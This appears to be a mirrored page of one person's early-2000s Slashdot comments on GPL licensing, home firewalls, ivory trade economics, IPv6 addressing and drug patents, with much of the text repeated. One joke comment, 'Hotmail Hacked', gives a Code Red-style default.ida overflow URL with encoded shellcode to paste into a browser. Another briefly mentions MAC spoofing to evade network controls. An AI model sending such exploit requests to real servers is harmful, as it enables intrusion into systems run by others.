Even though it has numerous bashers- and seems to be consumer oriented rather than developer oriented, alot of new OSS projects go with the GPL.
The reason is simple: they want developers. There seem to be more people coming out of the woodwork to contribute to a fledgling GPL project than for any other type. This is especially true for new projects with few developers.
Its also a guaranteed way to get users. If your project is useful or fun at all, then the license
will attract at least a few eyes. Users certainly like to recieve GPL programs- even if they never download the binaries.
Ironically- most sucessfull large OSS projects fall under less restrictive yet gpl compatible licenses. (Xf86, perl, python, apache, postgresql, moz, libpng)
On the other hand- Gnome, KDE, samba, gcc, glibc, vim, emacs, and the linux kernel themselves are exceptions. The desktop environments are easy to explain- theyre a collection of small projects. And the linux kernel has exceptions- such as for loadable modules.
Personnaly I license my stuff under the GPL or LGPL. Ive been burned by shareware with small bugs that I was dying to fix- so I try not to make anything that contributes to that model (no bsd/artistic). I just want people to have the source- and I dont know hov that could offend anyone.
If we were to become a police state, they could even use it in their propaganda: "see how paranoid and scared the great satan has became. we have put the fear of god in him."
But changing our views on privacy issues, from the terrorist's perspective, just makes their "job" harder.
You say that as if its a forgone fact- when it is not. I have yet to see any of these measures do more good than harm. Simple vigilance of the measures we now have in place would have been enough. Telling pilots not to surrender their planes at the slightest provocation would have worked.
The goal of terror is to disrupt, and if we fall prey to that then we are indeed serving the tero's purposes.
The CPU fan doesnt work. The harddrive stops spinning soon after booting- so i have have to physically smack the side of the box if I want
to log in and change things.
Theres about an inch of dust inside the case.
Its running a 2.4 linux kernel with iptables, and
a custom firewall script which allows multiple battlenet connections behind the firewall (which was impossible with 2.2 kernel) as well as port forwarding, and a special rule to remasq web connection to my cannonical domain name.
Other than the occaisional problem with pump (redhat dhcp client) Its been working flawlessly
for 6 months.
Who told you that a desktop cannot be a server?
Are they really that different?
Ever heard of a workstation?
They are really not that amazingly different.
The speed increase by having tons of buggy GUI code built into the O/S is unecessary for normal windowing operations, and insufficient for high performance games.
What ever happened to copying your opponents victories and avoiding his mistakes?
Its very convenient to run a server programs on your workstation. Dont be fooled. There is no need to have tons of identical hardware single purpose machines. (one web server-one file server- one desktop). Such is wasteful.
True elephants are a tough example. It takes alot of time to make a little ivory- so the price likely would be higher than it is now with the trade illegal. (Similarly legal prostitution is more expensive than the illegal kind)
And true domesticated animals differ from wild ones, witnessing dogs for example.
(Dogs released back to the wild do become wolflike very quickly though- dingos for example)
And yes the wild ones would be killed off. No different than if they were not domesticated.
Perhaps we could ask the elephants what they would prefer: To go out of existence like a candle flame, or to live on as a domesticated species. (for zoos,hide,meat,ivory,whatever)
In this example, as the elephant becomes more rare, the value of the ivory will rise, due to supply and demand. This will cause the hunters to work even harder at killing the elephants, since they now get a much higher price for the ivory. Of course, this works against them in the long run when the elephants all are extinct.
Your argument only makes sense if herding elephants for ivory is illegal. If ranchers are allowed to breed elephants for ivory- then I'm sure they'd take exception to hunters killing their property.
Also theyd guarantee that there were always elephants- because theyd suffer a personal loss if they let their herd die.
Because the eagle has no commercial value- it is doomed to a long slow extinction. So are all animals which are not tools or parasites. The endangered species act will only prolong the inevitable.
We should really encourage people to buy more eagle feathers- to engage in more falconry, fox hunts, etc- to wear exotic furs and to buy natural ivory.
So long as the animals have commercial value- they will always be around. Its ironic that PETA and animals rights activists etc are the ones guaranteeing the eventual extinction of the animals they claim to protect.
I also find it ironic that "cat lovers" love to capture wild cats and mutilate their genitalia. Would you be called a "human lover" if you did that to people?
We cannot count on anything but enlightened self interest to save our biodiversity- human pity and charity is a fragile thing. As soon as a minor emergency comes- the animals always get eaten.
I dont think the linksys can handle my custom iptables script which allows multiple people to play starcraft on battlenet simultaneously in the same games from behind the masq'ing firewall.
Plus I cant ssh into a linksys remotely to admin my network.
When ipv6 or something better takes over, this wont be an issue. Until then, NAT hacks are de rigueur.
The rub is if you could only receive incoming calls while the phone is in your hand. Oh, and
everytime you hang up, your phone number would change.
Thats what hes trying to get at. Thats also what your typical dialup ISP user has to deal with.
I got a static IP address from telocity, and i could never go back. The download speed is ok, and the upload band& latency are horrendous.
Still, the availability makes it all worth it.
I can log into my box from the net at large, with full confidence that itll be there. (theres no way dialup on demand can open up a PPP connection from the outside, that i know of)
The point of having a static address is so that one machine can be found by others. You have to have some fixed address in order to describe who it is your connecting to.
Imagine the havoc that would pass if area codes in telephone numbers could change on moments notice. Take away the phone book too, since you think dns is uneeded. (Works fine for calling out- since in that case you dont care what your number is. but who are you going to call, exactly?)
If there is no way for anyone else to determine what a given servers address is, then there no way anyone else can connect to it.
In reality each "entity" be it a megacorp or a measly dialup user, will be given 80 bits worth of routable address. 16 bits of that they can use for subnets. Only the 48 starting bits are really "fixed". The 128 bit addressing scheme is really an attempt to get everyone tons of "static" routable addresses.
And There will of course be a name-to address mapping similiar to what DNS does now. The simple reason is that noone is going to type in a huge monster address when they want to hit a web page.
Actually, allowing Microsoft to do what they want would help linux more.
The people who would abandon Microsoft products for performance, stability, or security reasons have already done so.
Microsoft is their own worst enemy. Windows XP's licensing will drive many away. And if they are successful at stopping "piracy" they will wipe out half their userbase in one fell blow.
I am also against government intervention in general, despite the fact that they are a Monopoly. ( because there is no physical infrastructure to a software empire, this can change practically overnight )
If we don't provide some sort of protection, there won't be any incentive for people to invest in the first place. Would Roche have devoted the money necessary to Market this drug if anyone who is capable of manufacturing it could do so? Hell no. This drug has saved lives (well, extended them, at least -- which is all any drug can really do). This drug would probably not exist if it weren't for patents. QED...
The actual development of new drugs is highly government funded. So these patents are a very insidiuos form of corporate welfare.
Pharmecuetical companies do invest money in marketing, patenting, middle managment, production, etc. This is mostly low risk.
The profit motive is excellent for physical production. But it breaks down with ideas, and has the opposite effect there.
Its just that most brazilians cannot afford the product. So this is money they would not be making anyway.
So we can either force the brazilians to mortgage their asses to hell, we can force the companies to sell something below cost, or best of all we can leave them both to their own means.
The pharmecuitical companies are not being materially harmed, dont be fooled.
to be able to give away 5-15 million dollars worth of almost nothing to pad the tax write off.
The shrink wrap and printed holograms get a real nice markup.
Perhaps they should reveal exactly what the cash/imaginary ratio is. For all you know it could be 50/50. (Encarta, W2K server CAL's, MSN, you never know...)
Honest question: If you were a charity organization, and were offered a large contribution from Microsoft (or any company) on the condition that you only use their software, would you accept it still?
Is the cash worth the risk of vendor lock-in?
Will the kids even gain as much from the monoculture environment?
Here's another way
on
Hotmail Hacked
·
· Score: 5, Funny
1. Log into hotmail normally.
2. Type in this link:
http://pv2fd.pav2.hotmail.msn.com/default.ida?XX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858 %ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858 %u cbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53 1b%u53ff%u0078%u0000%u00=a HTTP/1.0
Are you saying you prefer the name "Linux" rather than "GNU/Linux" ?
Is that what this basically boils down to? (I'm just guessing here)
In all of Ulrich's rant he doesn't explicitly say what issue it is he finds objectionable, or what decision he would like to see made that would satisfy him. (you are similarly ambiguous)
Its hard to agree or disagree with someone if its not clear what they think.
Keep in mind that the data regarding whether a piece of software is "quality", as well as the data regarding where to find such software, are themselves forms of software, as far as these illustrations go
Yes. And individuals decide which peices of software they like, and hence which they use and contribute too. Nobody *has* to find the perfect piece of software- they just find one they they like for themselves. Then they customize it, or redesign it a bit. Then they share. (now iterate)
If there is no project matching what they want- they might start one on their own.
And, remember, our monkeys will, unlike the ones in the thought-experiment, tend to follow the "monkey see monkey do" approach, by and large -- meaning if a few "leader monkeys" start down a technological cul-de-sac, most of the rest will follow, all proclaiming the "quality" of the work they're doing.
Actually, hobbyist programmers are pretty fast to abandon a sinking ship, as soon as they see a better one. Of course some stay behind- but overall they are a fickle lot.
What you are describing as the missing element- oversight- is in fact the Free software movements greatest strength- not its weakness.
What you percieve as "leaders" of this "community" are actually quite ephemeral. Their technical decisions are constantly challenged by others- and for every major endeavor there is almost always a competing one with a different philosophy.
An individual's choice of what is right for him always trumps a dictator or commitee's choice of what is right for everybody.
For this reason, I've tended to find appeals to the "if I build it, they will come" approach to explaining why sound engineering principles are
rejected out-of-hand by "those in charge" of certain OSS projects to be unpersuasive.
No one says that bazaar style programming will cure individual ignorance. Nor does anyone claim that some arbitrary problem will be solved in some arbitrary amount of time.
Free programmers will create what they create when they create it, and alot of it will be good. The whole of it all taken together will be yet greater than the sum of the individual parts.
Given time, this could become the dominant pool of software creation. Some might say it already is...
The other half
on
Mob Software
·
· Score: 3, Insightful
In a work for pay environment- you are right.
In a work for fun environment, people self-select where what and how they program. If they have a fundamental disagreement they fork.
One may win out when his software gets used more often. Sometimes theyre both right, and they become two separate programs that serve separate users.
'Mob' software works in the sense that it is self organizing, and arises out of individual behaivhor.
Youll never see an ant forced to work in a way it doesnt want to. It does what it does from its own volition. Youll also never see two ants fight over an anthill-design issue. They work as if alone, yet together, act as single whole.
It seems that chaos is the quickest path to order.
Analogies of physical goods to ideas are irrelevant.
An idea is like a fire that lights up the world. It cannot be taken- only given. It can only be created- and cannot be destroyed. An idea can be granted- but cannot be revoked. A thought is immortal.
Using laws of scarcity to govern the infinite is foolish.
Slashdot Mirror
The reason is simple: they want developers. There seem to be more people coming out of the woodwork to contribute to a fledgling GPL project than for any other type. This is especially true for new projects with few developers.
Its also a guaranteed way to get users. If your project is useful or fun at all, then the license
will attract at least a few eyes. Users certainly like to recieve GPL programs- even if they never download the binaries.
Ironically- most sucessfull large OSS projects fall under less restrictive yet gpl compatible licenses. (Xf86, perl, python, apache, postgresql, moz, libpng)
On the other hand- Gnome, KDE, samba, gcc, glibc, vim, emacs, and the linux kernel themselves are exceptions. The desktop environments are easy to explain- theyre a collection of small projects. And the linux kernel has exceptions- such as for loadable modules.
Personnaly I license my stuff under the GPL or LGPL. Ive been burned by shareware with small bugs that I was dying to fix- so I try not to make anything that contributes to that model (no bsd/artistic). I just want people to have the source- and I dont know hov that could offend anyone.
But changing our views on privacy issues, from the terrorist's perspective, just makes their "job" harder.
You say that as if its a forgone fact- when it is not. I have yet to see any of these measures do more good than harm. Simple vigilance of the measures we now have in place would have been enough. Telling pilots not to surrender their planes at the slightest provocation would have worked.
The goal of terror is to disrupt, and if we fall prey to that then we are indeed serving the tero's purposes.
The CPU fan doesnt work. The harddrive stops spinning soon after booting- so i have have to physically smack the side of the box if I want
to log in and change things.
Theres about an inch of dust inside the case.
Its running a 2.4 linux kernel with iptables, and
a custom firewall script which allows multiple battlenet connections behind the firewall (which was impossible with 2.2 kernel) as well as port forwarding, and a special rule to remasq web connection to my cannonical domain name.
Other than the occaisional problem with pump (redhat dhcp client) Its been working flawlessly
for 6 months.
So twenty odd thousand people are killed, and your first thought is, "hey, lets see what goat.secx has to say about this"
Or maybe you just have it set as your homepage...
Are they really that different?
Ever heard of a workstation?
They are really not that amazingly different.
The speed increase by having tons of buggy GUI code built into the O/S is unecessary for normal windowing operations, and insufficient for high performance games.
What ever happened to copying your opponents victories and avoiding his mistakes?
Its very convenient to run a server programs on your workstation. Dont be fooled. There is no need to have tons of identical hardware single purpose machines. (one web server-one file server- one desktop). Such is wasteful.
Its more like going thru a neighborhood and checking if anybody stores their cash on the sidewalk.
Also if their are storing their loaded firearms and gossip sheets about their neighbors, and even
personal data entrusted to the homeowner.
So its pretty much everybody's business, isnt it.
True elephants are a tough example. It takes alot of time to make a little ivory- so the price likely would be higher than it is now with the trade illegal. (Similarly legal prostitution is more expensive than the illegal kind)
And true domesticated animals differ from wild ones, witnessing dogs for example.
(Dogs released back to the wild do become wolflike very quickly though- dingos for example)
And yes the wild ones would be killed off. No different than if they were not domesticated.
Perhaps we could ask the elephants what they would prefer: To go out of existence like a candle flame, or to live on as a domesticated species. (for zoos,hide,meat,ivory,whatever)
Well, somebody agrees with you- sortof.
I go to my local public library where I find books about dragons, wizards, and sword swinging heros in the "Science Fiction" category.
I find all the books about space ships, phasers, dyson spheres, time travel, etc in the "Fantasy section".
Somehow, somewhere, something went really wrong with these classifications.
In this example, as the elephant becomes more rare, the value of the ivory will rise, due to supply and demand. This will cause the hunters to work even harder at killing the elephants, since they now get a much higher price for the ivory. Of course, this works against them in the long run when the elephants all are extinct.
Your argument only makes sense if herding elephants for ivory is illegal. If ranchers are allowed to breed elephants for ivory- then I'm sure they'd take exception to hunters killing their property.
Also theyd guarantee that there were always elephants- because theyd suffer a personal loss if they let their herd die.
Because the eagle has no commercial value- it is doomed to a long slow extinction. So are all animals which are not tools or parasites. The endangered species act will only prolong the inevitable.
We should really encourage people to buy more eagle feathers- to engage in more falconry, fox hunts, etc- to wear exotic furs and to buy natural ivory.
So long as the animals have commercial value- they will always be around. Its ironic that PETA and animals rights activists etc are the ones guaranteeing the eventual extinction of the animals they claim to protect.
I also find it ironic that "cat lovers" love to capture wild cats and mutilate their genitalia. Would you be called a "human lover" if you did that to people?
We cannot count on anything but enlightened self interest to save our biodiversity- human pity and charity is a fragile thing. As soon as a minor emergency comes- the animals always get eaten.
Plus I cant ssh into a linksys remotely to admin my network.
When ipv6 or something better takes over, this wont be an issue. Until then, NAT hacks are de rigueur.
The rub is if you could only receive incoming calls while the phone is in your hand. Oh, and
everytime you hang up, your phone number would change.
Thats what hes trying to get at. Thats also what your typical dialup ISP user has to deal with.
I got a static IP address from telocity, and i could never go back. The download speed is ok, and the upload band& latency are horrendous.
Still, the availability makes it all worth it.
I can log into my box from the net at large, with full confidence that itll be there. (theres no way dialup on demand can open up a PPP connection from the outside, that i know of)
You seem to be confused:
The point of having a static address is so that one machine can be found by others. You have to have some fixed address in order to describe who it is your connecting to.
Imagine the havoc that would pass if area codes in telephone numbers could change on moments notice. Take away the phone book too, since you think dns is uneeded. (Works fine for calling out- since in that case you dont care what your number is. but who are you going to call, exactly?)
If there is no way for anyone else to determine what a given servers address is, then there no way anyone else can connect to it.
In reality each "entity" be it a megacorp or a measly dialup user, will be given 80 bits worth of routable address. 16 bits of that they can use for subnets. Only the 48 starting bits are really "fixed". The 128 bit addressing scheme is really an attempt to get everyone tons of "static" routable addresses.
And There will of course be a name-to address mapping similiar to what DNS does now. The simple reason is that noone is going to type in a huge monster address when they want to hit a web page.
According to the RFC's, even a lowly dialup users will be given more routable addresses than the
entire internet contains at the moment.
Actually, allowing Microsoft to do what they want would help linux more.
The people who would abandon Microsoft products for performance, stability, or security reasons have already done so.
Microsoft is their own worst enemy. Windows XP's licensing will drive many away. And if they are successful at stopping "piracy" they will wipe out half their userbase in one fell blow.
I am also against government intervention in general, despite the fact that they are a Monopoly. ( because there is no physical infrastructure to a software empire, this can change practically overnight )
So lets mark that present "RETURN TO SENDER"
If we don't provide some sort of protection, there won't be any incentive for people to invest in the first place. Would Roche have devoted the money necessary to Market this drug if anyone who is capable of manufacturing it could do so? Hell no. This drug has saved lives (well, extended them, at least -- which is all any drug can really do). This drug would probably not exist if it weren't for patents. QED...
The actual development of new drugs is highly government funded. So these patents are a very insidiuos form of corporate welfare.
Pharmecuetical companies do invest money in marketing, patenting, middle managment, production, etc. This is mostly low risk.
The profit motive is excellent for physical production. But it breaks down with ideas, and has the opposite effect there.
Noone is saying the companies are villains.
Its just that most brazilians cannot afford the product. So this is money they would not be making anyway.
So we can either force the brazilians to mortgage their asses to hell, we can force the companies to sell something below cost, or best of all we can leave them both to their own means.
The pharmecuitical companies are not being materially harmed, dont be fooled.
to be able to give away 5-15 million dollars worth of almost nothing to pad the tax write off.
The shrink wrap and printed holograms get a real nice markup.
Perhaps they should reveal exactly what the cash/imaginary ratio is. For all you know it could be 50/50. (Encarta, W2K server CAL's, MSN, you never know...)
Honest question: If you were a charity organization, and were offered a large contribution from Microsoft (or any company) on the condition that you only use their software, would you accept it still?
Is the cash worth the risk of vendor lock-in?
Will the kids even gain as much from the monoculture environment?
1. Log into hotmail normally.
2. Type in this link:
http://pv2fd.pav2.hotmail.msn.com/default.ida?XX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858
8 %u cbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685
1b%u53ff%u0078%u0000%u00=a HTTP/1.0
Are you saying you prefer the name "Linux" rather than "GNU/Linux" ?
Is that what this basically boils down to? (I'm just guessing here)
In all of Ulrich's rant he doesn't explicitly say what issue it is he finds objectionable, or what decision he would like to see made that would satisfy him. (you are similarly ambiguous)
Its hard to agree or disagree with someone if its not clear what they think.
Keep in mind that the data regarding whether a piece of software is "quality", as well as the data regarding where to find such software, are themselves forms of software, as far as these illustrations go
Yes. And individuals decide which peices of software they like, and hence which they use and contribute too. Nobody *has* to find the perfect piece of software- they just find one they they like for themselves. Then they customize it, or redesign it a bit. Then they share. (now iterate)
If there is no project matching what they want- they might start one on their own.
And, remember, our monkeys will, unlike the ones in the thought-experiment, tend to follow the "monkey see monkey do" approach, by and large -- meaning if a few "leader monkeys" start down a technological cul-de-sac, most of the rest will follow, all proclaiming the "quality" of the work they're doing.
Actually, hobbyist programmers are pretty fast to abandon a sinking ship, as soon as they see a better one. Of course some stay behind- but overall they are a fickle lot.
What you are describing as the missing element- oversight- is in fact the Free software movements greatest strength- not its weakness.
What you percieve as "leaders" of this "community" are actually quite ephemeral. Their technical decisions are constantly challenged by others- and for every major endeavor there is almost always a competing one with a different philosophy.
An individual's choice of what is right for him always trumps a dictator or commitee's choice of what is right for everybody.
Plus it still has weaknesses: you cannot detect if somebody put a private subnet on a second NIC, and masqued a bunch of machines behind it.
MAC address' can be spoofed if absolutely necessary. And Napster requests can be sent on a variety of ports.
Besides, what the hell kind of admin is mainly concerned with preventing people from using the network.
For this reason, I've tended to find appeals to the "if I build it, they will come" approach to explaining why sound engineering principles are rejected out-of-hand by "those in charge" of certain OSS projects to be unpersuasive.
No one says that bazaar style programming will cure individual ignorance. Nor does anyone claim that some arbitrary problem will be solved in some arbitrary amount of time.
Free programmers will create what they create when they create it, and alot of it will be good. The whole of it all taken together will be yet greater than the sum of the individual parts.
Given time, this could become the dominant pool of software creation. Some might say it already is...
In a work for pay environment- you are right.
In a work for fun environment, people self-select where what and how they program. If they have a fundamental disagreement they fork.
One may win out when his software gets used more often. Sometimes theyre both right, and they become two separate programs that serve separate users.
'Mob' software works in the sense that it is self organizing, and arises out of individual behaivhor.
Youll never see an ant forced to work in a way it doesnt want to. It does what it does from its own volition. Youll also never see two ants fight over an anthill-design issue. They work as if alone, yet together, act as single whole.
It seems that chaos is the quickest path to order.
Analogies of physical goods to ideas are irrelevant.
An idea is like a fire that lights up the world. It cannot be taken- only given. It can only be created- and cannot be destroyed. An idea can be granted- but cannot be revoked. A thought is immortal.
Using laws of scarcity to govern the infinite is foolish.